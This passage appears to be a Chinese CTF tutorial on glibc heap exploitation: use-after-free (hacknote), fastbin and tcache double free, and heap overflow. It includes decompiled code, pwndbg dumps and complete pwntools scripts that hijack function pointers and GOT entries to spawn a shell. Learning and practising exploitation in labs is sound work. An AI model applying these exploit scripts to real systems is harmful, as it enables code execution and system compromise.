该函数主要就是删除对应的note,但是在删除的时候只是进行了free而并没有置为NULL,这里就存在UAF漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
free(notelist[v1]->content);
free(notelist[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

我们可以在IDA中看到程序有一个叫做magic的函数,它的作用就是 cat flag,所以我们只需要修改 note 的 put 字段为 magic 函数的地址,从而实现在执行 print note 的时候执行 magic 函数。

因为note是一个fastbin chunk(大小为 16 字节),我们需要将note的put字段修改为magic函数的地址,而fastbin chunk是一个单链表有LIFO的特性,所以我们从申请入手,利用过程如下:

  1. 申请 note0,real content size 为 16(大小不为8即可)
  2. 申请 note1,real content size 为 16(同上)
  3. 释放 note0
  4. 释放 note1
  5. 此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
  6. 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则 note2 其实会分配 note1 对应的内存块。
  7. real content 对应的 chunk 其实是 note0。
  8. 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。

我们动态调试一下整个过程:

1
2
3
4
5
6
7
8
9
pwndbg> heap
0x804b000 {
mchunk_prev_size = 0,
mchunk_size = 0,
fd = 0x0,
bk = 0x151,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

可以看到我们的数据已经成功申请

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x804b150
0x804b150: 0x00000000000000000x0000001100000000
0x804b160:0x0804b1700804865b0x0000002100000000
0x804b170:0x00000000616161610x0000000000000000
0x804b180:0x00000000000000000x0000001100000000
0x804b190:0x0804b1a00804865b0x0000002100000000
0x804b1a0:0x0000000a616161610x0000000000000000
0x804b1b0:0x00000000000000000x00021e4900000000
0x804b1c0:0x00000000000000000x0000000000000000
0x804b1d0:0x00000000000000000x0000000000000000
0x804b1e0:0x00000000000000000x0000000000000000

删除之后可以再次来看堆的信息可以看到大小为 16 的 fast bin chunk 中链表为 note1->note0

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x804b150
0x804b150: 0x00000000000000000x0000001100000000
0x804b160:0x0804b170000000000x0000002100000000
0x804b170:0x00000000000000000x0000000000000000
0x804b180:0x00000000000000000x0000001100000000
0x804b190:0x0804b1a00804b1600x0000002100000000
0x804b1a0:0x0000000a0804b1700x0000000000000000
0x804b1b0:0x00000000000000000x00021e4900000000
0x804b1c0:0x00000000000000000x0000000000000000
0x804b1d0:0x00000000000000000x0000000000000000
0x804b1e0:0x00000000000000000x0000000000000000

我们重新申请大小为8,内容为aaaa的note再打印note0就会改变eip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> c
Continuing.
Index :0

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
EAX 0x61616161 ('aaaa')
EBX 0x0
ECX 0x0
EDX 0x804b160 ◂— 0x61616161 ('aaaa')
EDI 0x0
ESI 0xf7faf000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
EBP 0xffffd188 —▸ 0xffffd1a8 ◂— 0x0
ESP 0xffffd15c —▸ 0x804896f (print_note+154) ◂— add esp, 0x10
EIP 0x61616161 ('aaaa')
───────────────────────────────────[ DISASM ]───────────────────────────────────
Invalid address 0x61616161



───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffd15c —▸ 0x804896f (print_note+154) ◂— add esp, 0x10
01:0004│ 0xffffd160 —▸ 0x804b160 ◂— 0x61616161 ('aaaa')
02:0008│ 0xffffd164 —▸ 0xffffd178 —▸ 0xf7fa0a30 ◂— add dword ptr [edx + 0xe], eax
03:000c│ 0xffffd168 ◂— 0x4
04:0010│ 0xffffd16c —▸ 0x8048a32 (menu+147) ◂— add esp, 0x10
05:0014│ 0xffffd170 —▸ 0x8048c63 ◂— pop ecx /* 'Your choice :' */
06:0018│ 0xffffd174 ◂— 0x0
07:001c│ 0xffffd178 —▸ 0xf7fa0a30 ◂— add dword ptr [edx + 0xe], eax
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 61616161
f 1 804896f print_note+154
f 2 8048ad3 main+155
f 3 f7defe81 __libc_start_main+241
Program received signal SIGSEGV (fault address 0x61616161)

我们只需要将aaaa改为我们magic的地址即可,而magic函数的地址是在IDA中可以看到的,所以我们可以得到下面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import*

r = process('./hacknote')


def addnote(size,content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))


def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))

magic_addr = 0x8048986

addnote(16,"aaaa")
addnote(16,"aaaa")

delnote(0)
delnote(1)

addnote(8,p32(magic_addr))

printnote(0)

r.interactive()

上面的exp并不能拿到shell,只能获得flag,为了拿到shell我们还需要执行system(‘/bin/sh’),下面的版本才是getshell的exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

r = process('./hacknote')
elf = ELF('./hacknote')
#r = remote("",)

context.log_level = 'debug'

context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

if args.G:
gdb.attach(r)

magic_addr = 0x08048986
system_addr = 0x8048500+6

def add_note(size,context):
r.recvuntil(':')
r.send('1')
r.recvuntil(':')
r.send(str(size))
r.recvuntil(':')
r.send(context)

def del_note(index):
r.recvuntil(':')
r.send('2')
r.recvuntil(':')
r.send(str(index))

def print_note(index):
r.recvuntil(':')
r.send('3')
r.recvuntil(':')
r.send(str(index))

add_note(20,'aaaa')
add_note(20,'bbbb')

del_note(0)
del_note(1)

add_note(8,p32(system_addr)+';sh;') # system("address;sh;")

print_note(0)

r.interactive()

system函数地址分布如下,+6 的原因是直接走push 0x38的位置,让程序直接去解析system函数真正的位置,也就是执行dl_runtime_resolve(link_map, index) 函数解析system函数的位置,具体原理详见 ret2dl-resolve

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/10i 0x8048500
0x8048500 <system@plt>:jmp DWORD PTR ds:0x804a028
0x8048506 <system@plt+6>:push 0x38
0x804850b <system@plt+11>:jmp 0x8048480
0x8048510 <exit@plt>:jmp DWORD PTR ds:0x804a02c
0x8048516 <exit@plt+6>:push 0x40
0x804851b <exit@plt+11>:jmp 0x8048480
0x8048520 <__libc_start_main@plt>:jmp DWORD PTR ds:0x804a030
0x8048526 <__libc_start_main@plt+6>:push 0x48
0x804852b <__libc_start_main@plt+11>:jmp 0x8048480
0x8048530 <setvbuf@plt>:jmp DWORD PTR ds:0x804a034

Double Free

漏洞介绍

Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。

Fastbin Double Free 能够成功利用主要有两部分的原因

  • fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
  • fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

更详细的介绍CTF-wiki上有,我就不赘述了。下面直接来实例:

Example One

首先创建一个heap.c,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void sh(char *id)
{
system(id);
}

int main()
{
setvbuf(stdout,0,_IONBF,0);
int cmd,idx,sz;
char *ptr[10];
memset(ptr,0,sizeof(ptr));
puts("1.malloc+gets\n2.free\n3.puts\n");
while(1)
{
printf("> ");
scanf("%d %d",&cmd,&idx); //这里cmd是选择功能,idx是为了区分申请的第几个chunk
idx %= 10;
if(cmd==1)
{
scanf("%d%*c",&sz);
ptr[idx] = malloc(sz);
gets(ptr[idx]);
}
else if(cmd==2)
{
free(ptr[idx]);
}
else if(cmd==3)
{
puts(ptr[idx]);
}
else
{
exit(0);
}
}
return 0;
}

编译:

1
gcc -no-pie heap.c -o heap -g -w

这道题有三个选项,一个申请,一个释放,一个打印,因为可以自己操作释放,我们分析之后发现存在Double Free的漏洞,下面就直接动态演示一下这个过程,我们断在输入的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
pwndbg> b 20
Breakpoint 1 at 0x40085b: file heap.c, line 20.
pwndbg> r
Starting program: /home/Thunder_J/桌面/heap
1.malloc+gets
2.free
3.puts

>
Breakpoint 1, main () at heap.c:20
20scanf("%d %d",&cmd,&idx); //这里cmd是选择功能,idx是为了区分申请的第几个chunk
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x2
RBX 0x0
RCX 0x0
RDX 0x7ffff7dd18c0 (_IO_stdfile_1_lock) ◂— 0x0
RDI 0x1
RSI 0x7fffffffb8e0 ◂— 0x203e /* '> ' */
R8 0x2
R9 0x7ffff7fda4c0 ◂— 0x7ffff7fda4c0
R10 0x3
R11 0x246
R12 0x4006f0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe0e0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe000 —▸ 0x400940 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdf80 ◂— 0x0
RIP 0x40085b (main+105) ◂— lea rdx, [rbp - 0x78]
───────────────────────────────────[ DISASM ]───────────────────────────────────
► 0x40085b <main+105> lea rdx, [rbp - 0x78] <0x7ffff7dd18c0>
0x40085f <main+109> lea rax, [rbp - 0x7c]
0x400863 <main+113> mov rsi, rax
0x400866 <main+116> lea rdi, [rip + 0x177]
0x40086d <main+123> mov eax, 0
0x400872 <main+128> call __isoc99_scanf@plt <0x4006d0>

0x400877 <main+133> mov ecx, dword ptr [rbp - 0x78]
0x40087a <main+136> mov edx, 0x66666667
0x40087f <main+141> mov eax, ecx
0x400881 <main+143> imul edx
0x400883 <main+145> sar edx, 2
───────────────────────────────[ SOURCE (CODE) ]────────────────────────────────
In file: /home/xsj/桌面/heap.c
15 memset(ptr,0,sizeof(ptr));
16 puts("1.malloc+gets\n2.free\n3.puts\n");
17 while(1)
18 {
19 printf("> ");
► 20 scanf("%d %d",&cmd,&idx); //这里cmd是选择功能,idx是为了区分申请的第几个chunk
21 idx %= 10;
22 if(cmd==1)
23 {
24 scanf("%d%*c",&sz);
25 ptr[idx] = malloc(sz);
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fffffffdf80 ◂— 0x0
... ↓
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 40085b main+105
f 1 7ffff7a05b97 __libc_start_main+231
Breakpoint /home/Thunder_J/桌面/heap.c:20

我们按如下方式先申请两块大小为25的内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pwndbg> n
1 0
...
pwndbg> c
Continuing.
25 aaaaaaaa
...
pwndbg> c
Continuing.
1 1
25 bbbbbbbb
...
pwndbg> heap #find heap
...
0x602660 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 49,
fd = 0x6161616161616161,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602690 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 49,
fd = 0x6262626262626262,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
...
pwndbg> x/20gx 0x602670-16
0x602660:0x00000000000000000x0000000000000031
0x602670:0x61616161616161610x0000000000000000#'aaaaaaaa'
0x602680:0x00000000000000000x0000000000000000
0x602690:0x00000000000000000x0000000000000031
0x6026a0:0x62626262626262620x0000000000000000 #'bbbbbbbb'
0x6026b0:0x00000000000000000x0000000000000000
0x6026c0:0x00000000000000000x0000000000020941
0x6026d0:0x00000000000000000x0000000000000000
0x6026e0:0x00000000000000000x0000000000000000
0x6026f0:0x00000000000000000x0000000000000000

现在我们删除chunk,再次观察这里的内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> c
Continuing.
2 0 #free ptr[0]
>
...
pwndbg> c
Continuing.
2 1 #free ptr[1]
>
...
pwndbg> x/20gx 0x602670-16
0x602660:0x00000000000000000x0000000000000031
0x602670:0x00000000000000000x0000000000000000
0x602680:0x00000000000000000x0000000000000000
0x602690:0x00000000000000000x0000000000000031
0x6026a0:0x00000000006026700x0000000000000000
0x6026b0:0x00000000000000000x0000000000000000
0x6026c0:0x00000000000000000x0000000000020941
0x6026d0:0x00000000000000000x0000000000000000
0x6026e0:0x00000000000000000x0000000000000000
0x6026f0:0x00000000000000000x0000000000000000
pwndbg> c
Continuing.
2 0 #free ptr[0] again
>
...
pwndbg> x/20gx 0x602670-16
0x602660:0x00000000000000000x0000000000000031
0x602670:0x00000000006026a00x0000000000000000 #bp -> 0x6026a0
0x602680:0x00000000000000000x0000000000000000
0x602690:0x00000000000000000x0000000000000031
0x6026a0:0x00000000006026700x0000000000000000 #bp -> 0x602670
0x6026b0:0x00000000000000000x0000000000000000
0x6026c0:0x00000000000000000x0000000000020941
0x6026d0:0x00000000000000000x0000000000000000
0x6026e0:0x00000000000000000x0000000000000000
0x6026f0:0x00000000000000000x0000000000000000

可以看到上面释放了之后形成了一个双向链表,如果我们继续申请内存,就会申请在0x602670处,这里我们申请到0x602660,其ASCII码为&

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> c
Continuing.
1 2
25 `&`
>
...
pwndbg> x/20gx 0x602670-16
0x602660:0x00000000000000000x0000000000000031
0x602670:0x00000000006026600x0000000000000000 #bp -> 0x602660
0x602680:0x00000000000000000x0000000000000000
0x602690:0x00000000000000000x0000000000000031
0x6026a0:0x00000000006026700x0000000000000000
0x6026b0:0x00000000000000000x0000000000000000
0x6026c0:0x00000000000000000x0000000000020941
0x6026d0:0x00000000000000000x0000000000000000
0x6026e0:0x00000000000000000x0000000000000000
0x6026f0:0x00000000000000000x0000000000000000

我们继续申请内存就会申请到0x602670处的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> c
Continuing.
1 3
25 cccccccc
>
...
pwndbg> x/20gx 0x602670-16
0x602660:0x00000000000000000x0000000000000031
0x602670:0x00000000006026600x0000000000000000
0x602680:0x00000000000000000x0000000000000000
0x602690:0x00000000000000000x0000000000000031
0x6026a0:0x63636363636363630x0000000000000000 #'cccccccc'
0x6026b0:0x00000000000000000x0000000000000000
0x6026c0:0x00000000000000000x0000000000020941
0x6026d0:0x00000000000000000x0000000000000000
0x6026e0:0x00000000000000000x0000000000000000
0x6026f0:0x00000000000000000x0000000000000000

如果我们继续申请,就会覆盖0x602670处的内容,也就是覆盖这个双链表的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> c
Continuing.
1 4
25 deadbeef
>
...
pwndbg> x/20gx 0x602670-16
0x602660:0x00000000000000000x0000000000000031
0x602670:0x66656562646165640x0000000000000000 #'deadbeef'
0x602680:0x00000000000000000x0000000000000000
0x602690:0x00000000000000000x0000000000000031
0x6026a0:0x63636363636363630x0000000000000000 #'cccccccc'
0x6026b0:0x00000000000000000x0000000000000000
0x6026c0:0x00000000000000000x0000000000020941
0x6026d0:0x00000000000000000x0000000000000000
0x6026e0:0x00000000000000000x0000000000000000
0x6026f0:0x00000000000000000x0000000000000000

因为0x602670处指向了0x602660,所以我们再次申请内存就会写在0x602660处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> c
Continuing.
1 5
25 dddddddd
>
...
pwndbg> x/20gx 0x602670-16
0x602660:0x64646464646464640x0000000000000000 #'dddddddd'
0x602670:0x66656562646165640x0000000000000000 #'deadbeef'
0x602680:0x00000000000000000x0000000000000000
0x602690:0x00000000000000000x0000000000000031
0x6026a0:0x63636363636363630x0000000000000000 #'cccccccc'
0x6026b0:0x00000000000000000x0000000000000000
0x6026c0:0x00000000000000000x0000000000020941
0x6026d0:0x00000000000000000x0000000000000000
0x6026e0:0x00000000000000000x0000000000000000
0x6026f0:0x00000000000000000x0000000000000000

既然0x602660处的地址可以利用,那意味着我们可以将malloc()函数修改为sh()的地址,然后getshell,我们先查看一下函数的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@Thunder_J-virtual-machine:~/桌面# objdump -R heap

heap: 文件格式 elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000600ff0 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5
0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__
0000000000601078 R_X86_64_COPY stdout@@GLIBC_2.2.5
0000000000601018 R_X86_64_JUMP_SLOT free@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT system@GLIBC_2.2.5
0000000000601030 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
0000000000601038 R_X86_64_JUMP_SLOT memset@GLIBC_2.2.5
0000000000601040 R_X86_64_JUMP_SLOT gets@GLIBC_2.2.5
0000000000601048 R_X86_64_JUMP_SLOT malloc@GLIBC_2.2.5
0000000000601050 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5
0000000000601058 R_X86_64_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
0000000000601060 R_X86_64_JUMP_SLOT exit@GLIBC_2.2.5

pwndbg> p sh
$2 = {void (char *)} 0x4007d7 <sh>

我们将地址改为sh()之后还需要一个参数’sh’,我们需要在0x601040处写入’sh’,也就是get函数的地方,最后调用malloc的时候sz替换为’sh’的地址即可,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context.log_level = 'debug'
p = process('./heap')
elf =ELF('./heap')

if args.G:
gdb.attach(p)
def cmd(x):
p.recvuntil('> ')
p.send( x + '\n')

def molloc(i,s):
cmd('1 %d\n25 %s'%(i,s))

def free(i):
cmd('2 %d'%i)

def put(i):
cmd('3 %d'%i)

molloc(0,'a'*8)
molloc(1,'b'*8)

free(0)
free(1)
free(0)

molloc(2,p64(0x0601040)) # 指向 0x601040 处地址的内容
molloc(3,'aabb')
molloc(4,'aabb')
x = p64(0x6873) + p64(0x4007d7) # 0x601040 内容修改为 system('sh')
molloc(5,x)

p.recvuntil('> ')
p.sendline('1 6')
p.sendline('6295616 aaaaaaaa') # 执行 0x601040 处内容 0x601040 = 6295616
p.interactive()

Example Two

题目链接

babytcache

这道题需要了解一些tcache的知识,CTF-Wiki上有详细的介绍,简单来说就是tcache_put() 的不严谨

1
2
3
4
5
6
7
8
9
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

因为没有任何检查,所以我们可以对同一个 chunk 多次 free,造成 cycliced list,这里其实就有点像Double Free的感觉,只是Double Free不能连续free而这里可以,运行了解一下程序,是一个常见的管理系统

1
2
3
4
5
6
7
root@Thunder_J-virtual-machine:~/桌面# ./babytcache 
NoteBook v0.1
1.add a note
2.delete a note
3.show a note
4.exit
>

IDA分别分析一下每个函数的内容

add_note

这里将创建的地址都放在了ptr[]的地方,也就是0x6020E0处

1
2
3
4
5
6
7
8
9
10
11
12
13
int add_a_note()
{
int v1; // ebx

if ( dword_6020C0 > 9 )
return puts("Full!");
printf("content:");
v1 = dword_6020C0;
ptr[v1] = (char *)malloc(0x50uLL);
sub_4008A6((__int64)ptr[dword_6020C0], 0x50u);
++dword_6020C0;
return puts("Done.");
}

delete_note

1
2
3
4
5
6
7
8
9
10
11
void delete_note()
{
int v0; // [rsp+Ch] [rbp-4h]

printf("index:");
v0 = sub_400920();
if ( v0 < dword_6020C0 )
free(ptr[v0]);
else
puts("out of range!");
}

show_note

1
2
3
4
5
6
7
8
9
10
11
12
13
int show_a_note()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h]

printf("index:");
v1 = sub_400920();
if ( v1 < dword_6020C0 )
result = puts(ptr[v1]);
else
result = puts("out of range!");
return result;
}

我们首先创建一个note,然后释放三次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pwndbg> heap
0x603000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 593,
fd = 0x300000000,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603250 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 97,
fd = 0x603260,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6032b0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 134481,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bin
tcachebins
0x60 [ 3]: 0x603260 ◂— 0x603260 /* '`2`' */ #free three times
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

这道题并没有给system函数和’/bin/sh’,所以我们需要泄露出system函数的地址,然后想办法改got表。

我们将0x6020e0位置的指针改为puts函数的got表指针,然后就可以泄露puts函数的在libc的地址,计算出system函数的地址,然后用同样的方法将puts的got表覆盖为system函数的地址,最后调用puts()实现getshell,偏移的计算是在接受到puts函数地址的时候,用vmmap打印出libc地址,然后相减就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *

r = process('./babytcache')

symbol = ELF('./babytcache')

if args.G:
gdb.attach(r)

def add_note(content):

r.recvuntil('>')
r.sendline('1')
r.recvuntil('content:')
r.sendline(content)

def delete_note(index):

r.recvuntil('>')
r.sendline('2')
r.recvuntil('index:')
r.sendline('%d'%index)

def show_note(index):

r.recvuntil('>')
r.sendline('3')
r.recvuntil('index:')
r.sendline('%d'%index)

add_note('aaaaaaaa')

delete_note(0)

delete_note(0)

delete_note(0)

add_note(p64(0x6020e0+0x8))

add_note('bbbb')

add_note(p64(symbol.got['puts']))

show_note(1)

puts_addr = (u64(r.recv(6)+ '\x00\x00')) #receive 'puts'
print hex(puts_addr)
padding1 = 0x809c0

padding2 = 0x4f440

libc_addr = puts_addr - padding1

system_addr = libc_addr + padding2

print hex(libc_addr)

print hex(system_addr)

r.sendline('2')

r.recvuntil('index:')

r.sendline('0')

delete_note(0)

delete_note(0)

add_note(p64(symbol.got['puts']))

add_note('/bin/sh')

add_note(p64(system_addr))

r.sendline('3')
r.sendline('0')
delete_note(0)

r.interactive()

Heap Overflow

漏洞介绍

堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块,我们用两个例子来说明这个问题。

Example One

创建overflow.c

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>

int main(void)
{
char *chunk;
chunk=malloc(24);
puts("Get input:");
gets(chunk);
return 0;
}

编译

1
gcc -no-pie overflow.c -o overflow -g -w

我们把断点下好观察chunk变化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root@Thunder_J-virtual-machine:~/桌面# gdb overflow 
...
pwndbg> b 8
Breakpoint 1 at 0x400599: file overflow.c, line 8.
pwndbg> b 9
Breakpoint 2 at 0x4005aa: file overflow.c, line 9.
pwndbg> r
Starting program: /home/Thunder_J/桌面/overflow
Get input:

Breakpoint 1, main () at overflow.c:8
pwndbg> x/20gx 0x602250-16
0x602240:0x00000000000000000x0000000000000000
0x602250:0x00000000000000000x0000000000000021 # 申请的chunk
0x602260:0x00000000000000000x0000000000000000
0x602270:0x00000000000000000x0000000000000411 # next chunk
0x602280:0x75706e69207465470x00000000000a3a74
0x602290:0x00000000000000000x0000000000000000
0x6022a0:0x00000000000000000x0000000000000000
0x6022b0:0x00000000000000000x0000000000000000
0x6022c0:0x00000000000000000x0000000000000000
0x6022d0:0x00000000000000000x0000000000000000
pwndbg> c
Continuing.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa # 输入64个'a'覆盖下一个chunk

Breakpoint 2, main () at overflow.c:9
9 return 0;
pwndbg> x/20gx 0x602250-16
0x602240:0x00000000000000000x0000000000000000
0x602250:0x00000000000000000x0000000000000021
0x602260:0x61616161616161610x6161616161616161
0x602270:0x61616161616161610x6161616161616161 # next chunk已经被覆盖
0x602280:0x61616161616161610x6161616161616161
0x602290:0x61616161616161610x6161616161616161
0x6022a0:0x00000000000000000x0000000000000000
0x6022b0:0x00000000000000000x0000000000000000
0x6022c0:0x00000000000000000x0000000000000000
0x6022d0:0x00000000000000000x0000000000000000

上面就是简单的堆溢出演示,在利用的时候当然不是这么的随便下面就看第二个例子。

Example Two

创建Overflow_Free_Chunk.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void sh(char *cmd){
system(cmd);
}

int main()
{
setvbuf(stdout,0,_IONBF,0);
int cmd,idx,sz;
char* ptr[10];
memset(ptr,0,sizeof(ptr));
puts("1. malloc + gets\n2. free\n3. puts");
while(1){
printf("> ");
scanf("%d %d",&cmd,&idx);
idx %= 10;
if(cmd==1)
{
scanf("%d%*c",&sz);
ptr[idx] = malloc(sz);
gets(ptr[idx]);
}
else if (cmd==2)
{
free(ptr[idx]);
ptr[idx] = 0;
}
else if (cmd==3)
{
puts(ptr[idx]);
}
else{
exit(0);
}
}
}

编译

1
gcc -no-pie Overflow_Free_Chunk.c -o Overflow_Free_Chunk -g -w

我们在scanf输入处下断点观察

1
2
3
4
5
6
7
8
9
10
pwndbg> b 20
Breakpoint 1 at 0x40085b: file Overflow_Free_Chunk.c, line 20.
pwndbg> r
Starting program: /home/Thunder_J/桌面/Overflow_Free_Chunk
1. malloc + gets
2. free
3. puts
>
Breakpoint 1, main () at Overflow_Free_Chunk.c:20
20scanf("%d %d",&cmd,&idx);

我们申请两次大小为24的chunk,为什么要申请24呢,因为最小的chunk大小为32位,,最小的堆即为prev_size(可以被上一个chunk占用),size,fd(可以被本chunk占用),bk(可以被本chunk占用) ,8*4即为32位,我们看一下堆的结构:

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

我们知道,我们申请出来的chunk最少是32位,然而chunk的大小至少是16的倍数,我们申请小于24位的chunk,其实申请出来大小是32位,也就是:

1
prev_size + size + fd + bk

我们申请两次chunk之后的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> c
Continuing.
1 0
24 aaaaaaaa
>
pwndbg> c
Continuing.
1 1
24 bbbbbbbb
>
pwndbg> x/20gx 0x602660-16
0x602650:0x00000000000000000x0000000000000000
0x602660:0x00000000000000000x0000000000000021 # prev_size + size
0x602670:0x61616161616161610x0000000000000000 # fd + bk
0x602680:0x00000000000000000x0000000000000021
0x602690:0x62626262626262620x0000000000000000 # 同上
0x6026a0:0x00000000000000000x0000000000020961
0x6026b0:0x00000000000000000x0000000000000000
0x6026c0:0x00000000000000000x0000000000000000
